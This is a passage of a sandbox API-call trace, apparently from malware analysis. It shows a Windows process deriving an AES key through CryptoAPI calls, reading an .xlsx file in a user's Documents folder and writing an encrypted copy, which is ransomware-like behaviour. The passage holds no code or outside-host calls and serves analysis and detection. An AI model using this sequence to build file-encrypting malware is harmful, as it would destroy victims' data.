lpMsg=0xe8f3dfe760) returned 0 [0026.027] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.027] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.027] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.027] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.027] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.027] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.027] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.027] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418ba80, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.027] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.027] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.027] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.028] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0026.028] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.028] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.028] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.028] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.028] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.028] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.028] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.028] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.028] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0026.028] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.029] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\zD9_fkuLWLeWHM.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\zd9_fkulwlewhm.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.030] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.030] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.030] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.030] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.030] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.030] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0026.030] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\zD9_fkuLWLeWHM.encrypted.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\zd9_fkulwlewhm.encrypted.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.032] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.032] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.034] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x59b7, lpOverlapped=0x0) returned 1 [0026.034] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.037] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.037] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.037] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.037] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.037] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.038] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.038] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.038] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.038] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.038] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.038] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.038] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.038] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.039] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.039] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064ab0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ab0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.039] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.039] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.039] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.039] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.039] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.039] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.039] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.039] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.040] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.040] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.040] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.041] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.041] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.042] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.042] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x159b7, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x159c0) returned 1 [0026.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.042] CharLowerBuffW (in: lpsz="byte[88513]", cchLength=0xb | out: lpsz="byte[88513]") returned 0xb [0026.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.046] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.046] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.046] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.048] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.048] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x159b7, dwBufLen=0x159c0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x159c0) returned 1 [0026.048] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.048] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.050] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.051] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.051] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.051] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.051] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.052] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.052] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.052] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.052] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.052] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.052] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.057] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.057] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.057] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.059] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.059] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.060] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.060] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.060] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.060] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.060] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.060] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0026.060] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.060] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.060] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.060] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.060] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.060] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.061] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.061] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.061] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.061] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.061] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.061] PeekMessageW (in: lpMsg=0xe8f3dfe670, 